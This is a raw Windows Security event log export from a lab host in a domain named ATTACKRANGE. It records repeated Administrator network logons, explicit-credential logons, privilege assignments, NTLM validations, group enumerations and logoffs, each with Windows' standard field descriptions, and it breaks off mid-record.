MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245420 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9ABA9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245419 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9ABA9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245418 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9ABA9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245417 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245416 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245415 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A7D7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245414 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A7D7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245413 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245412 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245411 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245410 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A2EB - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245409 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A2EB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245408 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245407 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245406 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A21E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245405 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x995CC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245404 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A21E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245403 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A21E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245402 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245401 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245400 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245399 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x995CC - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245398 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x995CC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245397 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245396 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245395 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x986A2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245394 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98C4F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245393 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98C4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245392 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245391 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245390 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98AFF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245389 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x98AFF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245388 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: 